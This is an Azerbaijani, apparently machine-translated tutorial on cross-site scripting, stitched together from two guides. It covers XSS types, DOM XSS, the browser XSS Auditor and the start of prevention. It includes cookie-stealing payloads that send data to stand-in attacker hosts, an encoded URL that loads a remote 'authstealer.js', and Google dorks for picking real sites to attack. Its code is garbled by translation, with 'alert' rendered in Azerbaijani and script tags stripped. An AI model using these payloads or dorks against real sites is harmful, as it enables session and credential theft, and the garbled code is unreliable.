ev > Əlaqə > XSS zəifliklərindən maksimum yararlanmaq. Asan Hack: Cross Site Scripting Inclusion Xss hücum təlimi vasitəsilə məlumatları necə çıxarmaq olar


XSS zəifliklərindən maksimum yararlanmaq. Asan Hack: Cross Site Scripting Inclusion Xss hücum təlimi vasitəsilə məlumatları necə çıxarmaq olar




  • 1. XSS nədir
  • 2. XSS növləri
  • 3.DOM əsaslı XSS-in xüsusiyyətləri
  • 4.XSS Auditoru
  • 5. XSS istismarına dair nümunələr
  • 6.XSS-ə qarşı həssas olan saytları axtarın
  • 7.XSS zəifliklərinin axtarışı və skan edilməsi üçün proqramlar
XSS nədir

Saytlararası skript (XSS) digər istifadəçilərin baxdığı veb səhifəyə müştəri tərəfi kodunun (JavaScript) yeridilməsini nəzərdə tutan zəiflikdir.

Zəiflik istifadəçinin veb səhifəyə daxil etmək üçün təqdim etdiyi məlumatların kifayət qədər filtrasiya edilməməsi ilə bağlıdır. Konkret bir nümunə ilə başa düşmək daha asandır. Hər hansı bir qonaq kitabını xatırlayın - bunlar istifadəçidən məlumatları qəbul etmək və sonra onu göstərmək üçün hazırlanmış proqramlardır. Təsəvvür edək ki, qonaq kitabı heç bir şəkildə daxil edilmiş məlumatları yoxlamır və ya filtr etmir, sadəcə olaraq onları göstərir.

Siz ən sadə skriptinizi eskiz edə bilərsiniz (PHP-də pis skriptlər yazmaqdan asan bir şey yoxdur - bunu çoxları edir). Ancaq artıq çoxlu hazır variantlar var. Məsələn, Dojo və OWASP Mutillidae II ilə başlamağı təklif edirəm. Orada da oxşar nümunə var. Bağımsız Dojo mühitində brauzerinizdə bu linkə keçin: http://localhost/mutillidae/index.php?page=add-to-your-blog.php

İstifadəçilərdən biri daxil olubsa:

Salam! Necəsən.

Bundan sonra veb səhifə göstərilir:

Salam! Necəsən.

Və istifadəçi bunu daxil edərsə:

Salam! Necəsən. xəbərdarlıq ("Pwned")

Sonra bu şəkildə göstəriləcək:

Brauzerlər çoxlu sayda saytlardan bir neçə kuki saxlayır. Hər bir sayt yalnız özü tərəfindən saxlanılan kukiləri qəbul edə bilər. Məsələn, example.com brauzerinizdə bəzi kukilər saxlamışdır. Başqa.com saytına daxil olsanız, bu sayt (müştəri və server skriptləri) example.com-un saxladığı kukilərə daxil ola bilməz.

Əgər example.com XSS-ə qarşı həssasdırsa, bu o deməkdir ki, biz ona hansısa yolla JavaScript kodu daxil edə bilərik və bu kod example.com adından icra olunacaq! Bunlar. Bu kod, məsələn, example.com kukilərinə giriş əldə edəcək.

Düşünürəm ki, hər kəs JavaScript-in istifadəçi brauzerlərində icra olunduğunu xatırlayır, yəni. XSS-nin mövcudluğunda, daxil edilmiş zərərli kod veb-sayt səhifəsini açan istifadəçinin məlumatlarına giriş əldə edir.

Daxili kod JavaScript-in edə biləcəyi hər şeyi edə bilər, yəni:

  • baxdığınız vebsaytın kukilərinə giriş əldə edir
  • səhifənin görünüşündə istənilən dəyişiklik edə bilər
  • mübadilə buferinə daxil olur
  • JavaScript proqramlarını həyata keçirə bilər, məsələn, keyloggerlər (klaviatura vuruşları)
  • BeEF-də götürün

Cookie ilə ən sadə nümunə:

xəbərdarlıq (document.cookie)

Əslində, xəbərdarlıq yalnız XSS-i aşkar etmək üçün istifadə olunur. Həqiqi zərərli yük gizli hərəkətləri yerinə yetirir. O, gizli şəkildə təcavüzkarın uzaq serveri ilə əlaqə saxlayır və oğurlanmış məlumatları ona ötürür.

XSS növləri

XSS növləri haqqında başa düşmək üçün ən vacib şey bunlardır:

  • Saxlanılır (Daimi)
  • Yansıdılmış (Dəyişkən)

Sabitlərə misal:

  • Təcavüzkar tərəfindən serverdə saxlanılan qonaqlar kitabına (şərh, forum mesajı, profil) daxil edilmiş xüsusi hazırlanmış mesaj istifadəçilər hər dəfə bu səhifəni göstərmək üçün müraciət etdikdə serverdən endirilir.
  • Təcavüzkar, məsələn, SQL inyeksiyası vasitəsilə server məlumatlarına giriş əldə etdi və istifadəçiyə verilən məlumatlara zərərli JavaScript kodunu (kilologgerlər və ya BeEF ilə) təqdim etdi.

Qeyri-daimi olanlara misal:

  • Saytda axtarış nəticələri ilə yanaşı, “Axtardığınız: [axtarış sətri]” kimi bir şey göstərən bir axtarış var və məlumatlar düzgün süzülməyib. Belə bir səhifə yalnız ona keçidi olan şəxsə göstərildiyi üçün hücum edən şəxs linki saytın digər istifadəçilərinə göndərənə qədər hücum işləməyəcək. Qurbana bir keçid göndərmək əvəzinə, zərərli skriptin qurbanın ziyarət etdiyi neytral saytda yerləşdirilməsindən istifadə edə bilərsiniz.

Onlar həmçinin fərqləndirirlər (bəziləri davamlı olmayan XSS zəifliklərinin bir növü kimi, bəziləri bu növün də davamlı XSS ​​növü ola biləcəyini söyləyirlər):

  • DOM modelləri
DOM əsaslı XSS ​​xüsusiyyətləri

Çox sadə desək, HTML kodunu açsaq, “müntəzəm” davamlı olmayan XSS-in zərərli kodunu görə bilərik. Məsələn, keçid belə qurulur:

Http://example.com/search.php?q="/>alert(1)

Və mənbə HTML kodunu açdıqda belə bir şey görürük:

< div class = "m__search" > < form method = "get" action = "/search.php" > < input type = "text" class = "ui-input query" name = "q" value = "" /> < script >xəbərdarlıq (1)" />< button type = "submit" class = "ui-button" >Tap

Və DOM XSS tez brauzerdə formalaşan DOM strukturunu dəyişir və biz yalnız yaradılan DOM strukturuna baxarkən zərərli kodu görə bilirik. HTML dəyişmir. Nümunə olaraq bu kodu götürək:

< html > < head > < title >vebsayt:::DOM XSS< meta charset = "UTF-8" > < meta name = "viewport" content = "width=device-width, initial-scale=1.0" > < body > < div id = "default" >Xəta baş verdi...< script >funksiya OnLoad() ( var foundFrag = get_fragment(); return foundFrag; ) function get_fragment() ( var r4c = "(.*?)"; var results = location.hash.match(".*input=token(" + r4c + ");") əgər (nəticələr) ( document.getElementById("default").innerHTML = ""; return (unescape(nəticələr)); ) else ( return null; ) ) display_session = OnLoad(); document.write("Seans ID-niz: " + display_session + "< br >< br >")

Sonra brauzerdə biz görəcəyik:

Səhifənin mənbə kodu:

Ünvanı belə formalaşdıraq:

Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1);

İndi səhifə belə görünür:

Ancaq gəlin HTML mənbə koduna nəzər salaq:

Orada ümumiyyətlə heç nə dəyişməyib. Bu barədə danışırdım, zərərli kodu müəyyən etmək üçün sənədin DOM strukturuna baxmalıyıq:

Budur işləyən XSS prototipi, real hücum üçün bizə daha mürəkkəb faydalı yük lazımdır, bu, tətbiqin nöqtəli vergüldən dərhal sonra oxumağı dayandırması və alert(1);alert(2) kimi bir şeyin olmaması səbəbindən mümkün deyil. daha uzun müddət mümkündür. Bununla belə, unescape() sayəsində biz qaytarma məlumatlarında bu kimi faydalı yükdən istifadə edə bilərik:

Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1)%3balert(2);

Simvolun yerini dəyişdiyimiz yer ; URI ilə kodlanmış ekvivalentə!

Biz indi zərərli JavaScript yükünü yaza və standart davamlı olmayan saytlararası skript üçün edildiyi kimi qurbana göndərmək üçün keçid yarada bilərik.

XSS Auditoru

Google Chrome-da (həmçinin indi Google Chrome mühərrikindən istifadə edən Operada) məni bu sürpriz gözləyirdi:

dom_xss.html:30 XSS Auditoru 'http://localhost/tests/XSS/dom_xss.html#input=token‹script›alert(1);' daxilində skripti icra etməkdən imtina etdi, çünki onun mənbə kodu sorğuda tapılıb . Server nə “X-XSS-Protection”, nə də “Content-Security-Policy” başlığını göndərmədiyi üçün auditor işə salınıb.

Bunlar. brauzerdə indi XSS-in qarşısını almağa çalışacaq XSS auditoru var. Firefox hələ ki, bu funksiyaya malik deyil, amma məncə, bu zaman məsələsidir. Brauzerlərdə tətbiq uğurlu olarsa, XSS-dən istifadədə əhəmiyyətli bir çətinlikdən danışa bilərik.

Müasir brauzerlərin davamlı olmayan XSS və DOM əsaslı XSS ​​kimi istismar problemlərinin səviyyəsini məhdudlaşdırmaq üçün addımlar atdığını xatırlamaq yaxşıdır. Brauzerdən istifadə edərək veb-saytları sınaqdan keçirərkən bu da yadda saxlanmalı bir şeydir - veb tətbiqinin həssas olduğu ortaya çıxa bilər, ancaq brauzer onu blokladığı üçün pop-up təsdiqini görmürsünüz.

XSS istismar nümunələri

Saytlararası skript zəifliklərindən istifadə etmək niyyətində olan hücumçular hər bir zəiflik sinfinə fərqli yanaşmalıdırlar. Burada hər bir sinif üçün hücum vektorları təsvir edilmişdir.

XSS zəiflikləri üçün hücumlar BeEF-dən istifadə edə bilər ki, bu da hücumu vebsaytdan istifadəçilərin yerli mühitinə genişləndirir.

Davamlı olmayan XSS hücumunun nümunəsi

1. Alice tez-tez Bob tərəfindən idarə olunan müəyyən vebsayta baş çəkir. Bobun veb-saytı Aliceyə istifadəçi adı/parol ilə daxil olmağa və ödəniş məlumatları kimi həssas məlumatları saxlamağa imkan verir. İstifadəçi daxil olduqda, brauzer mənasız simvollara bənzəyən avtorizasiya kukilərini saxlayır, yəni. hər iki kompüter (müştəri və server) onun daxil olduğunu xatırlayır.

2. Mallory qeyd edir ki, Bobun vebsaytında davamlı olmayan XSS zəifliyi var:

2.1 Axtarış səhifəsinə daxil olduqda, axtarış sətirini daxil edin və təqdim düyməsini sıxın, heç bir nəticə tapılmadıqda, səhifədə daxil edilmiş axtarış sətri və ardınca “tapılmadı” sözləri göstərilir və url http://bobssite kimi görünür. .org?q= onun axtarış sorğusu

2.2 "İtlər" sözü kimi normal axtarış sorğusu ilə səhifə sadəcə olaraq "it tapılmadı" və http://bobssite.org?q=dogs URL-ni göstərir, bu olduqca normal davranışdır.

2.3 Bununla belə, anomal axtarış sorğusu alert(‘xss’); :

2.3.1 Xəbərdarlıq mesajı ("xss" deyir) görünür.

2.3.2 Səhifədə alert(‘xss’) göstərilir; 'xss' mətni ilə səhv mesajı ilə birlikdə tapılmadı.

2.3.3 İstismar üçün uyğun url http://bobssite.org?q=alert('xss');

3. Mallory zəiflikdən istifadə etmək üçün URL qurur:

3.1 O, URL http://bobssite.org?q=puppies edir. O, ASCII simvollarını ardıcıl olaraq http://bobssite.org?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E kimi onaltılıq formata çevirməyi seçə bilər. insanların zərərli URL-i dərhal deşifrə etməsinin qarşısını almaq üçün.

3.2 O, Bobun saytının bəzi şübhəsiz üzvlərinə e-məktub göndərir: "Sərin itləri yoxlayın".

4. Alisa məktub alır. O, itləri sevir və linkə klikləyir. Axtarışda Bobun saytına gedir, heç nə tapmır, orada “heç bir it tapılmadı” göstərilir və ortada bir skript olan bir etiket işə salınır (ekranda görünməzdir), Mallory's-i yükləyir və icra edir. authstealer.js proqramı (XSS hücumunu tetikler). Alice bunu unudur.

5. Authstealer.js proqramı Bobun saytından yaranmış kimi Alicenin brauzerində işləyir. O, Alisin icazə kukilərinin bir nüsxəsini götürür və onları Malory-nin serverinə göndərir, burada Malory onları geri alır.

7. İndi Mallory içəridədir, o, vebsaytın ödəniş bölməsinə gedir, Alisin kredit kartı nömrəsinin surətinə baxır və oğurlayır. Sonra gedib parolu dəyişir, yəni. İndi Alisa daha içəri girə bilmir.

8. O, növbəti addımı atmağa qərar verir və bu şəkildə qurulan linki Bobun özünə göndərir və bununla da Bobun saytı üçün inzibati imtiyazlar alır.

Davamlı XSS ​​hücumu

  • Mallorinin Bobun saytında hesabı var.
  • Mallory qeyd edir ki, Bobun vebsaytında davamlı XSS ​​zəifliyi var. Əgər siz yeni bölməyə keçib şərh yazsanız, orada nə yazılsa, orada göstərilir. Lakin şərh mətnində HTML teqləri varsa, həmin teqlər olduğu kimi göstəriləcək və istənilən skript teqləri icra olunacaq.
  • Mallory Xəbərlər bölməsində məqalə oxuyur və Şərhlər bölməsində şərh yazır. Şərhdə o, mətni əlavə edir:
  • Bu hekayədəki itləri çox bəyəndim. Onlar çox gözəldirlər!
  • Alice (və ya başqası) bu şərhi olan səhifəni yüklədikdə, Malory-nin skript teqi işə düşür və Alicenin icazə kukisini oğurlayır və onu toplanması üçün Malory-nin gizli serverinə göndərir.
  • Mallory indi Alice'nin seansını qaçıra və Alice'i təqlid edə bilər.
    • XSS-ə qarşı həssas olan saytların tapılması

    XSS üçün Dorks

    İlk addım XSS hücumlarını həyata keçirəcəyimiz saytları seçməkdir. Google dorks istifadə edərək saytlarda axtarış etmək olar. Google axtarışına köçürə və yapışdıra biləcəyiniz bu ahmaqlardan bir neçəsi:

    • inurl:search.php?q=
    • inurl:.php?q=
    • inurl:search.php
    • inurl:.php?search=

    Qarşımızda saytların siyahısı açılacaq. Siz saytı açmalı və orada rəy forması, daxiletmə forması, sayt axtarışı və s. kimi daxiletmə sahələrini tapmalısınız.

    Dərhal qeyd edim ki, populyar avtomatik yenilənən veb proqramlarda zəiflikləri axtarmaq demək olar ki, faydasızdır. Belə bir tətbiqin klassik nümunəsi WordPress-dir. Əslində WordPress-də və xüsusən də onun plaginlərində zəifliklər var. Üstəlik, nə WordPress mühərrikini (vebmasterin mənbə kodunda bəzi dəyişikliklər etdiyinə görə), nə də onların plaginlərini və mövzularını (bir qayda olaraq, bunlar pirat plaginlər və mövzulardır) yeniləməyən bir çox saytlar var. Amma bu bölməni oxuyub oradan yeni bir şey öyrənsəniz, WordPress hələ sizin üçün deyil... Daha sonra mütləq ona qayıdacağıq.

    Ən yaxşı hədəflər müxtəlif öz-özünə yazılmış mühərriklər və skriptlərdir.

    kimi daxiletmə yükünü seçə bilərsiniz

    xəbərdarlıq (1)

    Daxili kodunuzun hansı HTML kodunun teqlərinə düşdüyünə diqqət yetirin. Budur tipik bir giriş sahəsinə bir nümunə

    < input type = "text" class = "ui-input query" name = "q" value = "yastıq üzü" />< script >xəbərdarlıq (1)< input value = "" />

    Yükümüz "yastıq çantası" sözünün indi olduğu yerdə bitəcək. Bunlar. giriş etiketinin dəyərinə çevrilir. Biz ikiqat sitatı və sonra etiketin özünü “/> ilə bağlamaqla bunun qarşısını ala bilərik

    "/>xəbərdarlıq(1)

    XSS zəifliklərinin axtarışı və skan edilməsi üçün proqramlar

    Yəqin ki, bütün veb proqram skanerlərində daxili XSS zəiflik skaneri var. Bu mövzu hərtərəfli deyil, hər bir oxşar skanerlə ayrıca tanış olmaq daha yaxşıdır.

    XSS zəifliklərinin skan edilməsi üçün xüsusi alətlər də mövcuddur. Onların arasında biz xüsusilə qeyd edə bilərik:

    • XSSer təkcə filtrləmənin müxtəlif üsullarından istifadə edə bilən güclü bir skaner deyil, həm də XSS-ə qarşı həssas olan saytların axtarışı üçün avtomatlaşdırılmış vasitədir. Tapılan zəiflikləri olan saytlar üçün real hücum üçün faydalı yük yeridə bilər;
    • XssPy həm də saytın bütün səhifələrini (subdomenlərdə olanlar daxil olmaqla) tapa bilən və bu səhifələrdəki bütün giriş elementlərini yoxlaya bilən kifayət qədər müstəqil vasitədir;
    • BruteXSS – bu alətin müsbət xüsusiyyəti yanlış pozitivlərin tam istisna edilməsidir.
    XSS testi üçün həssas veb proqramlar

    Həssas veb proqramların əksəriyyətində (bəzi yüksək ixtisaslaşmış proqramlar istisna olmaqla) XSS-ə qarşı həssas olan saytlar var. Ən yaxşı seçim onlardan sınaq üçün çoxlu proqramlar toplayan Dojo-nun oflayn öyrənmə mühitində istifadə etməkdir. Məsələn, siz XSS-nin müəyyən edilməsi və istismarı üzrə bacarıqlarınızı aşağıdakılarla öyrədə bilərsiniz:

    Lənətə gələ bilən Veb Tətbiqi (DVWA):

    • http://localhost/dvwa/vulnerabilities/xss_r/ (davamlı olmayan XSS)
    • http://localhost/dvwa/vulnerabilities/xss_s/ (saxlanan XSS)

    Mutillidae/NOWASP (çox müxtəlif XSS varyasyonları)

    • http://localhost/mutillidae/

    Və saytlararası skriptlə bağlı hərtərəfli təlimatdır.

    Birinci hissə: XSS nədir?

    Saytlararası skript ( İngilis dili Saytlararası skript) təcavüzkarın başqa istifadəçinin brauzerində zərərli JavaScript-i icra etməyə imkan verən kod inyeksiya hücumudur.

    Təcavüzkar qurbanına birbaşa hücum etmir. Bunun əvəzinə o, qurbanın daxil olduğu vebsaytdakı boşluqdan istifadə edir və zərərli JavaScript kodunu yeridir. Qurbanın brauzerində zərərli JavaScript veb-saytın qanuni hissəsi kimi görünür və veb-sayt özü təcavüzkarın birbaşa ortağı kimi çıxış edir.

    Zərərli JavaScript kodunun yeridilməsi

    Təcavüzkarın qurbanın brauzerində zərərli JavaScript işlətməsinin yeganə yolu onu qurbanın vebsaytdan yüklədiyi səhifələrdən birinə yeritməkdir. Bu, əgər veb-sayt istifadəçilərə öz səhifələrinə məlumat daxil etməyə icazə verərsə və təcavüzkar qurbanın brauzerində kodun bir hissəsi kimi aşkar ediləcək sətir daxil edə bilsə, bu mümkündür.

    Aşağıdakı nümunə saytda ən son şərhi göstərmək üçün istifadə edilən sadə server tərəfi skripti göstərir:

    çap ""
    çap "Son şərh:"
    verilənlər bazasını çap edin.latestComment
    çap ""

    Skript şərhin yalnız mətndən ibarət olduğunu güman edir. Lakin, birbaşa istifadəçi girişi aktiv olduğundan, təcavüzkar bu şərhi tərk edə bilər: "..." . Səhifəni ziyarət edən istənilən istifadəçi indi aşağıdakı cavabı alacaq:


    Son şərh:
    ...

    İstifadəçinin brauzeri səhifəni yüklədikdə o, daxilində olan JavaScript kodu daxil olmaqla hər şeyi yerinə yetirəcək. Hücumçu hücumu uğurla həyata keçirib.

    Zərərli JavaScript nədir?

    Qurbanın brauzerində JavaScript-i icra etmək imkanı xüsusilə zərərli görünməyə bilər. JavaScript istifadəçi və əməliyyat sistemi fayllarına son dərəcə məhdud çıxışı olan çox məhdud mühitdə işləyir. Əslində, siz JavaScript konsolunu brauzerinizdə elə indi aça və istədiyiniz JavaScript-i icra edə bilərsiniz və kompüterinizə hər hansı bir zərər verə bilmə ehtimalınız çox azdır.

    Bununla belə, JavaScript kodunun zərərli kod kimi fəaliyyət göstərməsi potensialı aşağıdakı faktları nəzərdən keçirdikdə daha aydın olur:

    • JavaScript kukilər kimi bəzi həssas istifadəçi məlumatlarına giriş imkanına malikdir.
    • JavaScript XMLHttpRequest və digər mexanizmlərdən istifadə edərək istənilən istiqamətə ixtiyari məzmunlu HTTP sorğuları göndərə bilər.
    • JavaScript DOM manipulyasiya üsullarından istifadə edərək cari səhifənin HTML kodunda ixtiyari dəyişikliklər edə bilər.

    Bu faktlar birləşdirilərsə, çox ciddi təhlükəsizlik pozuntularına, təfərrüatlara səbəb ola bilər.

    Zərərli JavaScript kodunun nəticələri

    Bundan əlavə, başqa bir istifadəçinin brauzerində ixtiyari JavaScript icra etmək imkanı təcavüzkarın aşağıdakı hücum növlərini həyata keçirməsinə imkan verir:

    Cookie oğurluğu

    Təcavüzkar sənəd.cookie istifadə edərək qurbanın veb-saytı ilə əlaqəli kukilərə daxil ola, onları öz serverinə göndərə və onlardan sessiya identifikatorları kimi həssas məlumatları çıxarmaq üçün istifadə edə bilər.

    Keylogger

    Təcavüzkar addEventListener istifadə edərək klaviatura hadisəsi dinləyicisini qeydiyyatdan keçirə və sonra istifadəçinin bütün düymə vuruşlarını öz serverinə göndərərək, parollar və kredit kartı nömrələri kimi potensial olaraq həssas məlumatları qeyd edə bilər.

    Fişinq

    təcavüzkar DOM manipulyasiyasından istifadə edərək səhifəyə saxta giriş forması daxil edə, formanın fəaliyyət atributlarını öz serverinə təyin edə və sonra istifadəçini həssas məlumat əldə etmək üçün aldada bilər.

    Bu hücumlar əhəmiyyətli dərəcədə fərqlənsə də, onların hamısının bir əhəmiyyətli oxşarlığı var: təcavüzkar veb-saytın xidmət etdiyi səhifəyə kod yeritdiyi üçün zərərli JavaScript həmin vebsaytın kontekstində icra olunur. Bu o deməkdir ki, o, həmin saytdakı hər hansı digər skript kimi rəftar edilir: o, həmin veb-sayt üçün qurbanın məlumatlarına (kukilər kimi) daxil olur və URL sətrində göstərilən host adı vebsaytınki ilə eyni olacaq. Bütün məqsədlər üçün skript veb-saytın qanuni hissəsi hesab edilir və veb-saytın özünün edə biləcəyi hər şeyi etməyə imkan verir.

    Bu fakt əsas məsələni vurğulayır:

    Təcavüzkar digər istifadəçilərin brauzerlərində ixtiyari JavaScript kodunu icra etmək üçün veb saytınızdan istifadə edə bilərsə, vebsaytınızın və onun istifadəçilərinin təhlükəsizliyi pozulur.

    Bu məqamı vurğulamaq üçün bu dərslikdəki bəzi zərərli skript nümunələri təfərrüatsız qalacaq,... Bu onu göstərir ki, hansı xüsusi skript kodunun əslində icra olunmasından asılı olmayaraq, təcavüzkar tərəfindən yeridilmiş skriptin mövcudluğu problemdir.

    İkinci hissə: XSS hücumu XSS hücumunun iştirakçıları

    XSS hücumunun necə işlədiyini ətraflı təsvir etməzdən əvvəl XSS hücumunda iştirak edən aktyorları müəyyən etməliyik. Ümumiyyətlə, XSS hücumunun üç tərəfi var: vebsayt, qurban və təcavüzkar.

    • Veb sayt tələb edən istifadəçilərə HTML səhifələri təqdim edir. Nümunələrimizdə http://website/ ünvanında yerləşir.
      • Veb-sayt verilənlər bazası istifadəçilər tərəfindən veb-saytın səhifələrində daxil edilmiş məlumatların bir hissəsini saxlayan verilənlər bazasıdır.
    • Qurban veb saytın adi istifadəçisidir və brauzerindən istifadə edərək ondan səhifələr tələb edir.
    • Təcavüzkar veb-saytdakı XSS ​​zəifliyindən istifadə edərək qurbana hücum etmək niyyətində olan təcavüzkardır.
      • Təcavüzkarın serveri yalnız qurbanın məxfi məlumatlarını oğurlamaq məqsədi ilə təcavüzkar tərəfindən idarə olunan veb serverdir. Nümunələrimizdə o, http://attacker/ ünvanında yerləşir.
    Hücum ssenarisi nümunəsi


    window.location="http://attacker/?cookie="+document.cookie

    Bu skript istifadəçinin brauzerini təcavüzkarın serverinə yönləndirəcək başqa URL-ə HTTP sorğusu yaradacaq. URL sorğu parametri kimi qurbanın kukilərini ehtiva edir, HTTP sorğusu təcavüzkarın serverinə gəldikdə, təcavüzkar bu kukiləri sorğudan çıxara bilər. Təcavüzkar kukiləri aldıqdan sonra onlardan qurbanı təqlid etmək və sonrakı hücuma başlamaq üçün istifadə edə bilər.

    Bundan sonra yuxarıda göstərilən HTML kodu zərərli sətir və ya zərərli skript adlandırılacaq. Başa düşmək vacibdir ki, sətir yalnız zərərçəkmişin brauzerində HTML kimi göstərildiyi halda zərərlidir və bu, yalnız vebsaytda XSS zəifliyi olduqda baş verə bilər.

    Bu nümunə hücum necə işləyir

    Aşağıdakı diaqram təcavüzkarın hücumunun nümunəsini göstərir:

  • Təcavüzkar veb-saytın verilənlər bazasına zərərli sətir daxil etmək üçün vebsaytın formalarından birini istifadə edir.
  • Qurban bir internet saytından səhifə tələb edir.
  • Sayt cavaba zərərli verilənlər bazası sətrini daxil edir və onu qurbana göndərir.
  • Qurbanın brauzeri cavab daxilində zərərli skript icra edərək, qurbanın kukisini təcavüzkarın serverinə göndərir.
    • XSS növləri

    XSS hücumunun məqsədi həmişə qurbanın brauzerində zərərli JavaScript skriptini icra etməkdir. Bu məqsədə çatmağın bir neçə əsaslı fərqli yolu var. XSS hücumları çox vaxt üç növə bölünür:

    • Zərərli sətirin veb saytın verilənlər bazasından qaynaqlandığı saxlanılan (davamlı) XSS.
    • Zərərli sətirin qurbanın sorğusu əsasında yaradıldığı əks olunan (davamlı olmayan) XSS.
    • XSS DOM-ları, burada boşluq server kodu deyil, müştəri tərəfi kodunda baş verir.

    Əvvəlki nümunə saxlanılan XSS hücumunu göstərir. İndi XSS hücumlarının digər iki növünü təsvir edəcəyik: əks olunan XSS və DOM XSS hücumları.

    Yansıtılmış XSS

    Yansıtılmış XSS hücumunda zərərli sətir qurbanın vebsayta etdiyi sorğunun bir hissəsidir. Sayt bu zərərli sətri qəbul edir və istifadəçiyə göndərilən cavaba daxil edir. Aşağıdakı diaqram bu ssenarini göstərir:

  • Qurban təcavüzkarı veb-sayta URL sorğusu göndərmək üçün aldadır.
  • Sayt qurbana verilən cavabda URL sorğusundan zərərli sətir ehtiva edir.
  • Qurbanın brauzeri cavabda olan zərərli skripti icra edir, qurbanın kukilərini təcavüzkarın serverinə göndərir.

    • Yansıtılmış XSS hücumunu necə uğurla həyata keçirmək olar?

    Yansıtılmış XSS hücumu zərərsiz görünə bilər, çünki o, qurbandan onların adından zərərli sətir ehtiva edən sorğu göndərməsini tələb edir. Heç kim könüllü olaraq özünə hücum etməyəcəyinə görə, hücumu reallaşdırmaq üçün heç bir yol yoxdur.

    Göründüyü kimi, qurbanı özlərinə qarşı əks olunmuş XSS hücumu etməyə məcbur etməyin ən azı iki ümumi yolu var:

    • Əgər istifadəçi konkret şəxsdirsə, təcavüzkar qurbana zərərli URL göndərə bilər (məsələn, e-poçt və ya ani messencer vasitəsilə) və onu vebsayta daxil olmaq üçün linki açması üçün aldada bilər.
    • Hədəf böyük bir istifadəçi qrupudursa, təcavüzkar zərərli URL-ə keçid yerləşdirə bilər (məsələn, öz veb-saytında və ya sosial şəbəkəsində) və ziyarətçilərin linkə kliklənməsini gözləyə bilər.

    Bu üsulların hər ikisi oxşardır və hər ikisi zərərli sətri onu müəyyən edə biləcək istifadəçilərdən gizlədəcək URL qısaldıcı xidmətlərdən istifadə etməklə daha uğurlu ola bilər.

    DOM-da XSS

    DOM-da XSS həm saxlanılan, həm də əks olunan XSS hücumlarının variantıdır. Bu XSS hücumunda, vebsaytın faktiki JavaScript-i icra olunana qədər zərərli sətir qurbanın brauzeri tərəfindən işlənmir. Aşağıdakı diaqram əks olunan XSS hücumu üçün bu ssenarini göstərir:

  • Təcavüzkar zərərli sətirdən ibarət URL yaradır və onu qurbana göndərir.
  • Qurban təcavüzkarı veb-sayta URL sorğusu göndərmək üçün aldadır.
  • Sayt sorğunu qəbul edir, lakin cavaba zərərli sətri daxil etmir.
  • Qurbanın brauzeri cavabda olan qanuni skripti icra edir və zərərli skriptin səhifəyə daxil edilməsinə səbəb olur.
  • Qurbanın brauzeri səhifəyə daxil edilmiş zərərli skripti icra edərək, qurbanın kukilərini təcavüzkarın serverinə göndərir.
    • DOM-da XSS arasındakı fərq nədir?

    Saxlanılan və əks olunan XSS hücumlarının əvvəlki nümunələrində server zərərli skripti səhifəyə daxil edir, sonra bu skript qurbana cavab olaraq yönləndirilir. Qurbanın brauzeri cavabı aldıqda, zərərli skriptin səhifənin qanuni məzmununun bir hissəsi olduğunu güman edir və hər hansı digər skript kimi səhifə yüklənərkən onu avtomatik olaraq icra edir.

    DOM-da XSS hücumu nümunəsində zərərli skript səhifənin bir hissəsi kimi daxil edilmir; səhifə yüklənərkən avtomatik icra edilən yeganə skript səhifənin qanuni hissəsidir. Problem ondadır ki, bu qanuni skript səhifəyə HTML əlavə etmək üçün birbaşa istifadəçi girişindən istifadə edir. Zərərli sətir innerHTML istifadə edərək səhifəyə daxil edildiyi üçün o, HTML kimi təhlil edilir və zərərli skriptin icrasına səbəb olur.

    Bu fərq kiçikdir, lakin çox vacibdir:

    • Ənənəvi XSS-də zərərli JavaScript server tərəfindən göndərilən HTML-nin bir hissəsi kimi səhifə yükləndikdə icra olunur.
    • DOM-da XSS vəziyyətində, zərərli JavaScript səhifə yükləndikdən sonra icra edilir və bu, qanuni JavaScript səhifəsinin etibarlı olmayan şəkildə istifadəçi daxiletməsinə (zərərli sətri ehtiva edən) daxil olmasına səbəb olur.
    XSS DOM-da necə işləyir?

    Əvvəlki nümunədə JavaScript-ə ehtiyac yoxdur; server bütün HTML-ni özü yarada bilər. Əgər server tərəfindəki kodda zəifliklər olmasaydı, vebsayt XSS zəifliyinə həssas olmazdı.

    Bununla belə, veb proqramlar daha təkmilləşdikcə, serverdə deyil, müştəri tərəfində JavaScript istifadə edərək getdikcə daha çox HTML səhifəsi yaradılır. İstənilən vaxt məzmun bütün səhifəni yeniləmədən dəyişməlidir, bu JavaScript-dən istifadə etməklə mümkündür. Bu, xüsusilə AJAX sorğusundan sonra səhifə yeniləndikdə baş verir.

    Bu o deməkdir ki, XSS boşluqları təkcə saytınızın server kodunda deyil, həm də saytınızın müştəri tərəfindəki JavaScript kodunda ola bilər. Buna görə də, hətta tam təhlükəsiz server tərəfi kodu olsa belə, səhifə yükləndikdən sonra DOM-u yeniləyərkən müştəri kodu hələ də istifadəçi daxiletməsini təhlükəsiz şəkildə daxil etməyə bilər. Əgər bu baş verərsə, müştəri tərəfi kodu XSS hücumunun server tərəfi kodunun günahı olmadan baş verməsinə imkan verəcək.

    DOM əsaslı XSS ​​serverə görünməyə bilər

    DOM-da XSS hücumunun xüsusi halı var ki, burada zərərli sətir heç vaxt vebsayt serverinə göndərilmir: bu, zərərli sətir URL identifikator fraqmentində (# simvolundan sonra hər hansı bir şey) olduğu zaman baş verir. Brauzerlər URL-in bu hissəsini serverə göndərmir, ona görə də vebsayt server tərəfindəki koddan istifadə edərək ona daxil ola bilmir. Müştəri tərəfi kodunun isə ona girişi var və beləliklə, təhlükəsiz olmayan emal vasitəsilə XSS hücumu həyata keçirmək mümkündür.

    Bu hal fraqment ID ilə məhdudlaşmır. LocalStorage və IndexedDB kimi yeni HTML5 xüsusiyyətləri kimi serverə görünməyən başqa istifadəçi girişi də var.

    Üçüncü hissə:
    XSS qarşısının alınması XSS ​​qarşısının alınması üsulları

    Xatırladaq ki, XSS kod inyeksiya hücumudur: istifadəçi daxiletməsi səhvən zərərli kod kimi şərh olunur. Bu cür kod inyeksiyasının qarşısını almaq üçün təhlükəsiz giriş idarəsi tələb olunur. Veb tərtibatçısı üçün təhlükəsiz giriş emalını yerinə yetirməyin iki əsas fərqli yolu var:

    • Kodlaşdırma istifadəçiyə məlumatları yalnız məlumat kimi daxil etməyə imkan verən və brauzerin onu kod kimi işləməsinə icazə verməyən bir üsuldur.
